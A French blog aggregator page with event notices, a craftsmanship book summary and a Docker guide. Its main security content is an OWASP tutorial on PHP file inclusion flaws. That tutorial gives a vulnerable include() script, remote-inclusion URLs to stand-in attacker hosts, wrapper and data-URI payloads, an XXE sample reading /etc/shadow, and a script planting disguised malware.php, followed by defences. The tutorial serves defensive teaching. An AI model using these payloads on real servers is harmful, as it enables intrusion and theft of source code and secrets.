Skip to content

Blogs de Développeurs: Aggrégateur de Blogs d'Informatique sur .NET, Java, PHP, Ruby, Agile, Gestion de Projet

Forum Logiciel

Forum Logiciel : diffusion de connaissance et d’informations sur toutes les activitĂ©s liĂ©es au dĂ©veloppement d’applications informatiques en entreprise.

Agrégateur de flux

Xebia organise un atelier développement avec Couchbase le 04 novembre

couchbase-logoSi vous vous intéressez un peu au NoSQL, vous avez forcément dû voir passer le nom de Couchbase ces derniers temps.

Xebia organise dans ses locaux un hands-on pour apprendre Ă  manipuler cette base de donnĂ©es orientĂ©e Ă  la fois clĂ©/valeur et documents. Vous aurez l’occasion d’aborder des problĂ©matiques de modĂ©lisation, d’asynchronisme et de performance. Vous pourrez administrer un ou plusieurs nƓuds dans le cloud afin de dĂ©couvrir la web console Couchbase. et vous pourrez essayer la version 2.0 du SDK Java (assez de son prĂ©dĂ©cesseur). 

En deux heures, vous dĂ©couvrirez comment est conçu Couchbase, les nouveautĂ©s de la 3.0 et comment utiliser la version 2.0 du SDK Java (assez diffĂ©rente de son prĂ©dĂ©cesseur) avec en prime des utilisations de lambda de Java 8. Nous aurons aussi la chance d’accueillir FrĂ©dĂ©ric BerquĂ©, de chez Couchbase, qui nous introduira cette session avec une prĂ©sentation traitant d’architecture et de uses cases.

Cet atelier est donc destiné à tous les développeurs avec un minimum de connaissances en Java et désireux de découvrir cette base de données ou les nouvelles versions sorties récemment. Cette session sera animée par Mathieu Breton, Jean-Eudes Couignoux, Rodolphe Bung et Antoine Michaud.

Pour les inscriptions c’est ici.

Audience :

Développeur Java désireux de découvrir Couchbase

Plan de l’atelier :

  • PrĂ©sentation architecture et uses cases
  • Hands’on

Date :

mardi 04 novembre 2014 Ă  19h

Lieu :

Xebia
156, boulevard Haussmann Ă  Paris
PremiĂšre Ă  gauche, 7Ăšme Ă©tage

Pré-requis :

Un pc avec un JDK 1.7 minimum, mais version 1.8 conseillĂ©e, Maven, votre IDE prĂ©fĂ©rĂ© et Git. Ou, dans le pire des cas, vous trouverez bien un binĂŽme sur place…

Prix :

Gratuit, restauration comprise

Catégories: Blog Société

OWASP / Local-Remote File Inclusion (LFI / RFI)

Clever Age - Blog - mar, 10/21/2014 - 13:00

Dans ce quatriÚme article de la série consacrée aux failles applicatives, j'aborde les failles LFI et RFI au travers de l'OWASP. Vous découvrirez ces failles et apprendrez à les détecter. Vous verrez enfin les moyens de vous en prémunir.

Introduction

L'objet de l'attaque, comme son nom l'indique, est d'inclure un fichier local (LFI) ou distant (RFI) au sein d'une ressource accessible depuis un SI. L'intĂ©rĂȘt est multiple :

Dans le cas d'une LFI, cela permet par exemple :

  • D'accĂ©der au code source de fichiers privĂ©s stockĂ©s sur le serveur ciblĂ© par l'attaque
  • D'exĂ©cuter un script disponible sur le serveur dans un contexte non conventionnel (non prĂ©vu par le SI)

Dans le cas d'une RFI, cela permet par exemple :

  • De faire exĂ©cuter par l'application un script stockĂ© sur un serveur distant et construit sĂ»r-mesure par le pirate
  • De dĂ©figurer le site

Ces types d'attaques sont de moins en moins présentes dans les applications qui sont basées majoritairement sur des framework robustes. Mais ces vulnérabilités existent bel et bien, il est donc intéressant de connaßtre des méthodes d'attaques pour en mesurer la gravité.

Cette vulnĂ©rabilitĂ© est aussi couramment appelĂ©e “faille d'include” (en rapport avec le nom de la fonction PHP utilisĂ©e pour inclure un flux).

Rappel

L'OWASP (Open Web Application Security Project) dispose d'un projet de classification des failles les plus couramment utilisées par des utilisateurs malintentionnés sur Internet. Ce document est accompagné d'une qualification des menaces listées et d'une explication sur l'exploitation.

Ce projet se nomme le “Top Ten" (et sort chaque annĂ©e si le classement Ă©volue), et est disponible Ă  cette adresse : https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project

Les failles de types LFI ou RFI sont maintenant si rares qu'elles n'apparaissent mĂȘme pas dans le Top Ten 2013 de l'OWASP. Le dernier rapport Topten oĂč ces derniĂšres apparaissent date de 2007 et elles se situent en 3Ăšme position, cf : https://www.owasp.org/index.php/Top_10_2007 Sous l'intitulĂ© “Malicious File Execution” : https://www.owasp.org/index.php/Top_10_2007-Malicious_File_Execution Mais il est important de connaĂźtre cette vulnĂ©rabilitĂ© car elle fait partie des classiques.

Qualification de la menace

Agent de menace

_

Considérer toute personne externe au SI et en mesure de soumettre des données non fiables au systÚme.

Vecteur d'attaque

Exploitation Simple

Considérer toute entrée utilisateur attendant un flux (stream), fichier, etc.

Vraisemblance de la vulnérabilité

Peu répandue

Vulnérabilité de moins en moins présente dans les applications récentes qui sont basées majoritairement sur des framework robustes.

Détection de la vulnérabilité

Facile

Les LFI / RFI ont lieu lorsqu'une application inclut dans une page : un flux (stream) ou un fichier qui est défini via une entrée utilisateur.

Impact technique

SĂ©vĂšre

Vol de fichiers, codes sources, défigurer le site, etc. Le script étant développé par l'attaquant, tout est envisageable.

Impact métier

_

Tout dépend de la criticité des ressources privées stockées et de l'impact d'une divulgation de la vulnérabilité

Comment détecter si une entrée utilisateur est vulnérable en PHP ?

Via la configuration PHP

allow_url_open :

(cf : http://php.net/allow-url-fopen)

Permet la rĂ©cupĂ©ration de ressources distantes si sa valeur vaut “1” ou “On”. Si sa valeur vaut “0” ou “Off” et que vous utilisez cette fonctionnalitĂ©, PHP lĂšvera une erreur comme :

“Warning : include() : http:// wrapper is disabled in the server configuration by allow_url_fopen=0” [...]]“

allow_url_include :

(cf : http://php.net/allow-url-include)

Permet l'inclusion de ressources distantes ainsi que le support des wrappers PHP si sa valeur vaut “1” ou “On”. Si sa valeur vaut “0” ou “Off” et que vous utilisez cette fonctionnalitĂ©, PHP lĂšvera une erreur comme :

“Warning : include() : php :// wrapper is disabled in the server configuration by allow_url_include=0 in [...]]“

open_basedir :

(cf : http://www.php.net/manual/fr/ini.co...)

Permet de restreindre les ressources accessibles depuis PHP. Si cette option n'est pas définie, et que votre application est vulnérable au LFI, le risque pour votre SI sera plus important. Lorsque PHP bloque l'accÚs à une ressource via cette directive, il lÚvera une erreur (type Warning) comme :

“Warning : Unknown : open_basedir restriction in effect”

Via le code applicatif

Audit en boite blanche

Il suffit de regarder chaque occurrence d'appel aux fonctions suivante :

  • include()
  • require()
  • include_once()
  • require_once()

Et vérifier si le paramÚtre passé à la fonction est directement ou indirectement une entrée utilisateur, si c'est le cas votre application est sûrement vulnérable.

Audit en boite noire

La mĂ©thode la plus simple consiste Ă  passer en paramĂštre une chaĂźne correspondant Ă  un chemin d'accĂšs (ou path) qui pointera hors du dossier racine du projet web. Ce dossier est configurĂ© dans le virtual host du serveur web. L'intĂ©rĂȘt de remonter le plus haut possible dans l'arborescence du systĂšme de fichier est de pousser le script Ă  planter. En prenant le script prĂ©cĂ©dent pour exemple, il suffirait d'injecter dans le paramĂštre GET page le chemin d'accĂšs suivant :

http://localhost/lfi.php?page=../../../../../

Si le script plante c'est que l'application est trÚs probablement vulnérable ou que le paramÚtre est filtré.

Les erreurs pouvant ĂȘtre affichĂ©es par PHP pourraient ĂȘtre les suivantes :

“failed to open stream : No such file or directory”

Si cette erreur est affichée, la faille est avérée.

Exemples d'attaques

PrĂ©dicat : Pour simplifier les exemples qui suivront, nous utiliserons des adresses avec le mĂȘme sĂ©parateur de dossier que celui utilisĂ© sur les systĂšmes Unix soit “/” au lieu de “\” utilisĂ© sur les solutions de Microsoft.

Pour nos exemples, prenons le script vulnérable aux LFI et aux RFI suivant :

  1. <?php
  2. $page = array_key_exists('page', $_GET) ? $_GET['page'] : null ;
  3. if (!is_null($page))
  4. {
  5. include($page);
  6. }
  7. else
  8. {
  9. echo "Aucun page Ă  inclure...";
  10. }
  11. ?>
Télécharger

Ce script ne fait qu'attendre un paramÚtre HTTP GET nommé page, qui correspondra à un flux, pour ensuite le rendre dans la page résultante.

Le fichier de configuration php.ini contiendra les directives suivantes :

  1. allow_url_fopen = On
  2. allow_url_include = On
Télécharger

LFI basique

Imaginons qu'il existe un fichier nommĂ© “config.xml” dans un sous-dosssier “database”, il serait possible d'afficher son contenu en appelant la ressource comme il suit :

http://localhost/lfi.php?page=database/config.xml

RFI basique

Au lieu d'inclure un fichier local, il est possible de passer en paramÚtre une url pointant vers un script malicieux développé par un pirate.

http://localhost/rfi.php?page=http://serveur-pirate.net/exploit.php

Ce script sera récupéré par l'application et exécuté puis rendu dans la page résultante.

RFI avec Data URI

http://localhost/rfi.php?page=data ://text/plain ;base64,RXhwbG9pdCBEYXRhVVJJIGluY2x1c2lvbg==

Ici la ressource passĂ©e en paramĂštre est un flux de type DataURI oĂč son contenu est dĂ©fini sous forme d'une chaĂźne de caractĂšre encodĂ©e en base 64. La chaĂźne de caractĂšres

RXhwbG9pdCBEYXRhVVJJIGluY2x1c2lvbg==

Correspond au texte suivant :

Exploit DataURI inclusion

C'est ce texte qui sera affiché aprÚs injection.

Remote code execution

Il est possible de faire afficher le retour de la fonction PHP nommĂ©e phpinfo() via une LFI, par exemple en utilisant les DataUri avec le “payload” suivant :

PD9waHAgcGhwaW5mbygpOz8+

Cette chaßne de caractÚres correspond au code PHP suivant (une fois décodée) :

<?php phpinfo();?>

http://localhost/lfi.php?page=data ://text/plain ;base64,PD9waHAgcGhwaW5mbygpOz8%2B

Remarque : Pour cet exemple, la directive “register_globals” n'a pas besoin d'ĂȘtre activĂ©e dans la configuration de PHP pour fonctionner, car le code PHP est contenu dans le flux injectĂ©.

LFI avec “Null bytes”

Pour cet exemple, nous allons complexifier lĂ©gĂšrement la maniĂšre dont notre script d'exemple va inclure le flux dans la page rĂ©sultante. Nous remplacerons “include($page) ;“ par “include($page . “.html”) ;” Ici, notre dĂ©veloppeur fictif souhaitait protĂ©ger son script en contraignant au type HTML les ressources pouvant ĂȘtre incluses. Je vais vous montrer que c'est une mauvaise pratique et que cette contrainte ne vous prĂ©munit pas contre une LFI ou une RFI.

En effet, dans n'importe quel langage, une chaĂźne de caractĂšres se termine par un caractĂšre de fin de chaĂźne (ou NUL). Ce caractĂšre est reprĂ©sentĂ© en hexadĂ©cimal, dans la table ASCII, par la valeur \x00. Via cette valeur (mais “URL encodĂ©e”, soit “%00”), nous pouvons forcer l'emplacement oĂč se termine notre chaĂźne de caractĂšres. Ainsi, notre 1er exemple de LFI est toujours possible, mĂȘme avec cette complexification via ce caractĂšre spĂ©cial :

http://localhost/lfi.php?page=database/config.xml%00

LFI avec “PHP Wrappers”

La fonctionnalitĂ© suivante est gĂ©nĂ©ralement assez peu connue dans PHP. En effet, PHP propose une librairie permettant de gĂ©rer diffĂ©rents types de flux I/O (appelĂ© aussi “stream”) via un protocole interne nommĂ© “php ://”, cf : http://php.net/manual/fr/wrappers.php

PHP Filters

Il est possible d'utiliser certains de ces wrappers comme les “PHP filters” pour rĂ©cupĂ©rer le code source des fichiers souhaitĂ©s. Via cette technique, il est possible de rĂ©cupĂ©rer le code source de fichiers PHP ! Le risque est donc Ă©norme...

http://localhost/lfi.php?page=php ://filter/read=convert.base64-encode/resource=lfi.php

Cet exemple vous permettra d'afficher le contenu du script “lfi.php” encodĂ© en base 64, soit :

PD9waHAgDQokcGFnZSA9IGFycmF5X2tleV9leGlzdHMoJ3BhZ2UnLCAkX0dFVCkgPyAkX0dFVFsncGFnZSddIDogbnVsbCA7DQppZiAoIWlzX251bGwoJHBhZ2UpKQ0Kew0KCWluY2x1ZGUoJHBhZ2UpOw0KfQ0KZWxzZQ0Kew0KCWVjaG8gIkF1Y3VuIHBhZ2Ug4CBpbmNsdXJlLi4uIjsNCn0NCj8+DQo=

Pour récupérer le code source en clair, il suffit seulement d'effectuer le traitement inverse. Si vous n'avez pas les outils pour le faire en local, sachez qu'il en existe de nombreux en ligne, comme par exemple : http://www.base64decode.org/

PHP Inputs

Dans cet exemple, je vais vous monter une autre maniĂšre d'inclure un flux dans PHP via le Wrappers : “php ://input”. Comme le souligne la documentation de PHP, il est possible de passer un flux (url encodĂ©) en paramĂštre HTTP POST (correspondant ici Ă  la charge utile oĂč “payload”) grĂące Ă  php ://input.

Ci-joint la requĂȘte HTTP Ă  effectuer pour exploiter la LFI :

  1. POST http://localhost/lfi.php?page=php://input HTTP/1.0
  2. Host: localhost
  3. Content-Type: application/x-www-form-urlencoded
  4. Content-length: 37
  5. page=Exploit PHP Wrappers php://input
Télécharger

Cette requĂȘte Ă  Ă©tĂ© mise dans un fichier nommĂ© “payload.txt”. Nous avons ensuite utilisĂ© l'outil netcat pour soumettre la requĂȘte Ă  notre serveur :

  1. nc localhost 80 < payload.txt

Voici la réponse du serveur HTTP :

  1. HTTP/1.1 200 OK
  2. Date: Sun, 09 Mar 2014 02:03:26 GMT
  3. Content-Length: 48
  4. Connection: close
  5. Content-Type: text/html
  6. page=Exploit PHP Wrappers php://input
Télécharger

L'inclusion via php ://input a donc fonctionné car le contenu de notre variable POST est affiché.

XML External Entity Attack (XXE Attack)

Il est possible d'effectuer une LFI ou RFI depuis un flux XML par le biais d'entité XML, en effet les fonctions PHP suivantes supportent l'utilisation des wrappers :

  • simplexml_load_file()
  • DOMDocument :: load()

Exemple de fichier XML piégé :

  1. <?xml version=”1.0”?>
  2. "file:///etc/shadow" >
  3. "http://site-piege/payload2" >
  4. ]>
  5. >&exploit;&exploit2;&exploit3;>
Télécharger

Dans cet exemple l'entitĂ© XML “exploit” contiendra le contenu de la ressource “payload” dĂ©codĂ©e.

Pour en savoir plus sur cette vulnérabilité : https://www.owasp.org/index.php/XML_External_Entity_%28XXE%29_Processing

LFI - Shellcoding

Scénario d'attaque Le but ici sera de profiter d'une faille type LFI & RFI pour écrire sur le serveur un script nuisible forgé sûr-mesure, ce script sera accessible et exécutable depuis l'extérieur et contiendra une code camouflé dans une chaßne encodé une ou plusieurs fois en pour la rendre moins lisible, le tout caché dans un contenu à priori valide et inoffensif.

Prologue explicatif Il est possible en PHP d'exploiter le comportement de la fonction base64_decode() pour cacher une chaßne de caractÚres dans un payload (charge utile) forgé sûr-mesure.

Tout d'abord, l'encodage base64 est composé du jeu de caractÚres suivant (ou alphabet) :

ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/

Si dans une chaine de caractÚres, passée en paramÚtre de la fonction base64_decode() contient des caractÚres non compris dans l'alphabet base64 alors ils seront automatiquement supprimé lors du déchiffrement.

Autre subtilité à connaßtre, lors du décodage en base64, l'algorithme découpe en bloque de 4 caractÚres existant dans l'alphabet base64 et les décode bloc par bloc. Ce point est trÚs important pour comprendre la méthode que j'ai utilisé pour construire mon code exécutable.

Passage Ă  l'acte Voici notre script malintentionnĂ© nommĂ© “shellcode.php” :

  1. <?php
  2. $payload='PD9waHAgcGhwaW5mbygpOz8+'; // base64 encode phpinfo() callback
  3. $bytesStuffing = 'empty'; // Bits de bourrage
  4. $shellcode = "<?php exit('Acces non autorise blablablabla !'); ?>" . $bytesStuffing . $payload;
  5. echo $shellcode;
  6. file_put_contents("php://filter/write=convert.base64-decode/resource=malware.php",base64_encode($shellcode));
  7. ?>
Télécharger

Remarque : Ce script est hébergé sur le serveur du pirate mais sera exécuté sur le serveur de la victime par le biais d'un RFI pour créer le fichier en apparence inoffensif, comme : http://localhost/lfi.php?page=http://site-pirate.net/shellcode.php

Le fichier crĂ©Ă© sur le serveur de la victime le fichier sera nommĂ© : “malware.php” et contiendra le code suivant :

  1. <?php exit('Acces non autorise blablablabla !'); ?>emptyPD9waHAgcGhwaW5mbygpOz8+

Comme dit précédemment, il semble inoffensif, la preuve, si on l'exécute comme ceci : http://localhost/lfi.php?page=malware.php http://localhost/malware.php

Nous obtenons un rĂ©sultat sous la forme suivante, Ă  savoir : “RĂ©sultat : Acces non autorise blablablabla !”

Pour illustrer l'explication précédente, notre shellcode, avant décodage, est découpé comme ce qui suit :

phpe xitA cces nona utor iseb labl abla blae mpty PD9w aHAg cGhw aW5m bygp Oz8+

Les bits de bourrage servent à s'assurer que notre payload ne soit pas scinder en deux lors du décodage, il faut que toute la chaßne précédente soit découper en bloc complet de 4 caractÚres (le nombre de bloc n'est pas important) avant d'arriver au payload.

Ainsi, lorsque nous exécutons le script via le filter :

php ://filter/read=convert.base64-decode

nous décodons notre chaßne de caractÚres pour en extraire le code nuisible contenu dans le précédent et ainsi exécuter son payload :

http://localhost/lfi.php?page=php ://filter/read=convert.base64-decode/resource=malware.php

Remarque : Le payload une fois dĂ©codĂ© ressemble Ă  cela : ^+@qÇŹÚș+ǛiZnVr <?php phpinfo();?>

Nous obtenons le résultat de l'appel à la méthode phpinfo() depuis le serveur de la victime, l'attaque est donc un succÚs.

Le comportement de la fonction de décodage en base64 est détaillé dans le document suivant : http://www.ptsecurity.ru/ics/%D0%90.%D0%9C%D0%BE%D1%81%D0%BA%D0%B2%D0%B8%D0%BD_%D0%9E_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF_%D0%B8%D1%81%D0%BF_%D0%A0%D0%9D%D0%A0_wrappers.pdf

Comment se protéger ?

Pour se prémunir des attaques LFI, il n'y a pas d'autre maniÚre que de filtrer et valider les entrées utilisateurs. Il ne faut jamais inclure/exécuter directement une entrée utilisateur !

Pour le cas des RFI, il est possible de dĂ©sactiver le support en passant la valeur des directives “allow_url_open” et “allow_url_include” Ă  “Off”.

Vous pouvez bloquer l'utilisation des wrappers en installant l'extension Suhosin pour PHP (sauf si “allow_url_include” = “On”).

Les fonctions suivantes renverront “false” si un wrapper est utilisĂ© dans le nom du fichier :

  • file_exists
  • is_file,
  • filesize
Références, Bibliographie et Webographie
Catégories: Blog Société

MongoDB Days Paris 2014 au zlocalhost, le 18 novembre 2014

Zenika - mar, 10/21/2014 - 10:00

Zenika a le plaisir d’hĂ©berger le Mongo DB Day Paris qui aura lieu le mardi 18 novembre 2014.

MongoDB Days

Vous vous demandez pourquoi tout le monde parle de MongoDB ? Vous voulez savoir comment dĂ©marrer sur MongoDB pour construire et piloter des applications ? Vous connaissez dĂ©jĂ  notre technologie mais vous souhaitez approfondir vos connaissances ? Vous voulez rencontrer les ingĂ©nieurs qui ont construit MongoDB ainsi que d’autres utilisateurs ? Si... Read MongoDB Days Paris 2014 au zlocalhost, le 18 novembre 2014

Catégories: Blog Société

Chapitre 3 du livre de Sandro Mancuso sur le Craftsmanship

Voici le résumé du chapitre 3 du livre de Sandro Mancuso sur le Software Craftsmanship. Ce chapitre porte un nom explicite : Software Craftsmanship. Il défini le terme, le replace dans son contexte historique et mentionne le manifeste.

Déjà publié :

  1. Software Development
  2. Agile

Le software craftsmanship est une bien meilleure mĂ©taphore que le gĂ©nie logiciel (NDT: software engineering). Le craftsmanship (NDT: artisanat) est Ă  prendre au sens de l’apprentissage de techniques maĂźtrisĂ©es par ses pairs pour devenir un maĂźtre Ă  son tour.
La dĂ©finition de Wikipedia est trop brutale et ne dĂ©crit pas assez bien l’essence du mouvement.
Le software craftsmanship est un long voyage vers la maĂźtrise. C’est un Ă©tat d’esprit dans lequel le dĂ©veloppeur choisi d’ĂȘtre responsable de sa propre carriĂšre, apprend constamment Ă  se servir de nouveaux outils et techniques et s’amĂ©liore lui-mĂȘme. Le software craftsmanship consiste Ă  recentrer le dĂ©veloppement logiciel autour des valeurs de responsabilitĂ©, de professionnalisme, de pragmatisme et de fiertĂ©.
En rĂ©sumĂ©, le software craftsmanship s’intĂ©resse au professionnalisme dans le dĂ©veloppement logiciel.

Au delĂ  de la dĂ©finition et parce que de nombreux dĂ©veloppeurs n’aiment pas ĂȘtre catĂ©gorisĂ©s, le software craftsmanship essaie simplement de mettre un nom sur un ensemble de valeurs du dĂ©veloppement logiciel auquel chacun est libre d’adhĂ©rer.

Le dĂ©bat sur ce qu’est rĂ©ellement le dĂ©veloppement logiciel est sans fin : de l’artisanat, un commerce, une science d’ingĂ©nieur, une science ou de l’art ? Les arguments pour l’une ou l’autre de ces orientations sont souvent corrects. Quel qu’il soit, ce que le software craftsmanship apporte c’est un plus grand professionnalisme.

L’histoire de ce mouvement se caractĂ©rise en la publication de quelques livres clĂ©s :

Il s’est aussi traduit par la crĂ©ation d’entreprises qui proposaient des formations craft.

Le Software Craftsmanship Summit a eu lieu fin 2008 afin de mieux définir ce mouvement naissant. Composés de personnalités intéressées sur le sujet, il a abouti quelques mois plus tard au manifeste du software craftsmanship.

Le mouvement est nĂ© aux États-Unis mais est Ă©galement trĂšs actif dans de nombreux autres pays.

Le software craftsmanship promeut Ă  ce point l’Ă©change de connaissances et de techniques que 8th Light and Obtiva (maintenant Groupon) ont effectuĂ© un Ă©change de craftsman (NDT : Craftsman Swap). Quelques dĂ©veloppeurs ont intĂ©grĂ© les Ă©quipes de l’autre entreprise afin de dĂ©couvrir leur maniĂšre de travailler. C’est une expĂ©rience extrĂȘmement riche pour les Hommes qui la vivent comme pour les entreprises.

De nombreuses communautĂ©s sont nĂ©es Ă  partir de 2009. Elles sont actives et rĂ©unissent les craftsmen au sein d’une mĂȘme ville ou d’un mĂȘme pays.

Il y a eu de nombreux dĂ©bats sur l’utilitĂ© d’un manifeste. Toutefois Doug Bradbury fit la quasi unanimitĂ© en rassemblant dans 4 rĂšgles claires l’ensemble des idĂ©es Ă©mises.

Le manifeste a trĂšs bien saisi l’idĂ©e en parlant de relever le niveau (NDT : raising the bar). Il fait Ă©galement passer l’idĂ©e que les dĂ©veloppeurs vont prendre les choses en main et ĂȘtre acteur du succĂšs d’un projet.

Pas seulement un logiciel qui fonctionne, mais Ă©galement un logiciel bien Ă©crit

Un logiciel qui fonctionne est peut-ĂȘtre un logiciel sans test, avec un couplage fort entre le mĂ©tier et la technique et des blocs de code Ă©normes. C’est un logiciel que personne n’a envie de maintenir et faire Ă©voluer. C’est pour cela que le software craftsmanship s’attache aux tests, Ă  un design simple ou Ă  une sĂ©paration claire des responsabilitĂ©s.

Pas seulement répondre au changement, mais également ajouter réguliÚrement de la valeur

Au cours du temps, une application qui Ă©volue et qui grossit doit ĂȘtre de plus en plus rentable pour son entreprise et efficace pour ses utilisateurs. Il est anormal que l’on constate globalement l’inverse dans notre industrie et que les choix d’abandon ou de rĂ©-Ă©criture d’une application soient si souvent pris. Le software craftsmanship dĂ©die toute son Ă©nergie Ă  crĂ©er de la valeur dans son logiciel par une trĂšs haute qualitĂ©.

Pas seulement des individus et des interactions, mais également une communauté de professionnels

Le software craftsmanship promeut l’apprentissage et l’ouverture pour que l’amĂ©lioration de chacun profite Ă  tous.

Pas seulement une collaboration avec le client, mais Ă©galement une partenariat productif

Un dĂ©veloppeur qui termine toujours son travail au moment oĂč on lui a demandĂ© n’est pas un software craftsman. Le craftsman ne passe pas sa journĂ©e Ă  Ă©crire du code : il contribue Ă  amĂ©liorer les procĂ©dures et les processus du projet.
Parfois les entreprises ne sont pas prĂȘtes pour ce partenariat car elles n’accordent pas suffisamment d’autonomie ou de dĂ©cision Ă  l’Ă©quipe. Il est louable de vouloir changer cela mais il arrive que cela soit vain. Dans ce cas il est du devoir d’un software craftsman de changer de route ; la gestion de la carriĂšre d’un craftsman est trĂšs importante.

Le problĂšme du manifeste est qu’on ne peut pas ĂȘtre contre ses 4 points. Contrairement au manifeste agile qui demande rĂ©ellement Ă  une entreprise qui souhaite l’appliquer un changement radical de sa maniĂšre de fonctionner, celui du software craftsmanship est plus une centralisation de certaines valeurs.
La question est donc : si on ne peut pas remettre en question ce qui est exposé dans le manifeste, pourquoi constatons nous trÚs souvent que ces principes ne soient pas respectés ?

 

Catégories: Blog Société

Contribuer Ă  un projet Open Source

L'actualité de Synbioz - lun, 10/20/2014 - 23:00

Nous essayons de plus en plus chez Synbioz de rendre Ă  la communautĂ© open source ce qu’elle nous a donnĂ© tout au long de ces annĂ©es.

C’est donc tout naturellement que nous aussi participons aux projets libres que nous utilisons au quotidien ou en publions dans le but d’en faire profiter la communautĂ©.

En ce qui me concerne j’aime travailler sur Homebrew, Oh My Zsh et tout particuliùrement Rails.

Lire la suite...

Catégories: Blog Société

Retour sur le Jenkins User Meetup avec Kohsuke Kawaguchi

Zenika - lun, 10/20/2014 - 16:00

Le dernier Jenkins User Meetup Paris s'est déroulé dans nos locaux parisiens. Grégory et Adrien nous ont présenté un retour d'expérience sur le développement d'un plugin Jenkins puis Kohsuke Kawaguchi a introduit le plugin "Workflow" un des nouveaux plugins Jenkins. Nous vous proposons de voir, ou revoir, leurs talks.

Jenkins Plugin development Télécharger les slides Workflow in Jenkins... Read Retour sur le Jenkins User Meetup avec Kohsuke Kawaguchi

Catégories: Blog Société

Zenika organise le NoSQL matters Paris en mars 2015

Zenika - lun, 10/20/2014 - 13:20

Nous sommes fiers de vous annoncer le lancement de la toute premiĂšre Ă©dition du NoSQL matters Paris les 26 et 27 mars 2015.

AprĂšs le succĂ©s des confĂ©rences de Cologne, Dublin et Barcelone, l’équipe NoSQL matters et Zenika sont heureux de vous accueillir pour cette 8Ăšme Ă©dtition encore plus fun et technique.

NoSQL Matters

Expert en technologies NoSQL et Big Data et pionnier dans l’organisation de confĂ©rences techniques et communautaires en France, c’est tout naturellement que Zenika s’est associĂ© Ă  l’organisation de cette Ă©dition Française. Cette confĂ©rence, dĂ©diĂ©e aux dĂ©velopeurs, est une occasion unique d’échanger avec les experts du NoSQL et Big Data et... Read Zenika organise le NoSQL matters Paris en mars 2015

Catégories: Blog Société

Docker pour les nu
 pour les débutants

Blog d’Ippon Technologies - lun, 10/20/2014 - 13:13

Principes de base Pourquoi utiliser Docker ?

Docker est un outil permettant de construire et de distribuer rapidement un ensemble d’applications (par exemple des serveurs prĂ©-configurĂ©s dans le cadre d’un projet). Il permet ensuite de partager ce systĂšme entre diffĂ©rentes personnes, afin que tout le monde puisse travailler sur les mĂȘmes bases (Ă©viter de prĂ©voir une demi-journĂ©e pour installer l’environnement, demander Ă  tout le monde s’il a un dump Ă  jour de la base, etc.). Ce partage se fait via la distribution d’un fichier de configuration (qui contient toutes les informations pour reconstruire l’environnement cible) ou directement d’une image (comme une VM, mais en plus lĂ©ger). ConcrĂštement, Docker est bien pour :

  • Partager un environnement de travail entre plusieurs personnes
  • Tester des choses que l’on n’oserait pas faire sur son propre systĂšme
  • Garder son systĂšme hĂŽte propre, en installant tout sur Docker
  • Avoir des versions spĂ©cifiques d’une librairie, d’un serveur, d’une base de donnĂ©es, etc
, par projet
Images, Dockerfiles, et conteneurs

Votre systĂšme d’exploitation est majoritairement composĂ© de 2 choses : un systĂšme de fichiers, et des processus. Une image Docker reprĂ©sente le systĂšme de fichiers, sans les processus. Elle contient tout ce que vous avez dĂ©cidĂ© d’y installer (Java, une base de donnĂ©e, un script que vous allez lancer, etc…), mais est dans un Ă©tat inerte. Les images sont crĂ©Ă©es Ă  partir de fichiers de configuration, nommĂ©s “Dockerfile”, qui dĂ©crivent exactement ce qui doit ĂȘtre installĂ© sur le systĂšme. Un conteneur est l’exĂ©cution d’une image : il possĂšde la copie du systĂšme de fichiers de l’image, ainsi que la capacitĂ© de lancer des processus. En gros, c’est un OS, avec lequel vous pouvez interagir. Dans ce conteneur, vous allez donc pouvoir interagir avec les applications installĂ©es dans l’image, exĂ©cuter des scripts, faire tourner un serveur, etc. Pour faire l’analogie avec le monde Java (ou le monde des langages objets en gĂ©nĂ©ral) :

  • le “Dockerfile” est votre fichier source (vous dĂ©crivez ce que vous voulez)
  • l’image est le fichier compilĂ© (gardĂ© au chaud en attendant d’ĂȘtre utilisĂ©)
  • le container est une instance de votre classe (vous pouvez changer ses propriĂ©tĂ©s, et appeler des mĂ©thodes)

Un “Dockerfile” peut ĂȘtre inclus dans d’autres “Dockerfile”, et ĂȘtre Ă  la base de plusieurs images diffĂ©rentes. Par exemple, si tous vos projets utilisent MySQL comme SGDB, vous pouvez crĂ©er un “Dockerfile” qui installe MySQL, et ensuite crĂ©er un autre “Dockerfile” pour chacun de vos projets. Si vous mettez Ă  jour votre “Dockerfile” MySQL, vos images projets pourront ĂȘtres mises Ă  jour en mĂȘme temps. Vous pouvez aussi utiliser une mĂȘme image pour crĂ©er plusieurs conteneurs diffĂ©rents, mais avec les mĂȘmes propriĂ©tĂ©s (pensez aux instances de classes).

Boot2Docker

Docker existe actuellement uniquement sur Linux. Pour les utilisateurs de Windows et Mac OS, il faut passer par Boot2docker, qui est en fait une VM linux permettant de faire tourner Docker. Cela n’est pas vraiment un problĂšme (trĂšs faible consommation mĂ©moire), mais il faut garder en tĂȘte que certaines choses dĂ©crites dans ce post seront un peu diffĂ©rentes dans ce cas (mais je vais les indiquer). Cela concerne par exemple :

  • le partage de volumes
  • l’interaction avec votre conteneur
En pratique (commandes de base) Récupérer une image pour lancer un conteneur avec pseudo-terminal

Si vous avez bien tout suivi jusque lĂ , il nous faut une image pour pouvoir crĂ©er un conteneur (et donc pouvoir vraiment utiliser Docker). L’installation de Docker est dĂ©crite ici, et ne fait pas partie du pĂ©rimĂštre de cet article. Vous pouvez crĂ©er une image vous-mĂȘme (mais nous verrons cela plus tard), ou bien en utiliser une existante, en la recherchant sur le site https://registry.hub.docker.com. Pour le moment, nous allons simplement utiliser une image “ubuntu” (il s’agit d’une version trĂšs light d’Ubuntu). Pour la rĂ©cupĂ©rer, vous pouvez lancer la commande suivante :

 $> docker pull ubuntu:trusty 

Cela va tĂ©lĂ©charger l’image en locale, et vous pourrez ensuite lancer un conteneur. D’ailleurs, si vous lancez un conteneur sans avoir l’image sur votre machine, elle sera tĂ©lĂ©chargĂ©e automatiquement Ă  partir du hub Docker (donc la commande ci-dessus n’est utile que pour prĂ©parer votre systĂšme, si par exemple vous comptez utiliser le conteneur sans internet par la suite). Pour lancer votre conteneur avec un terminal, vous pouvez exĂ©cuter la commande suivante :

 $> docker run -ti –rm ubuntu:trusty 

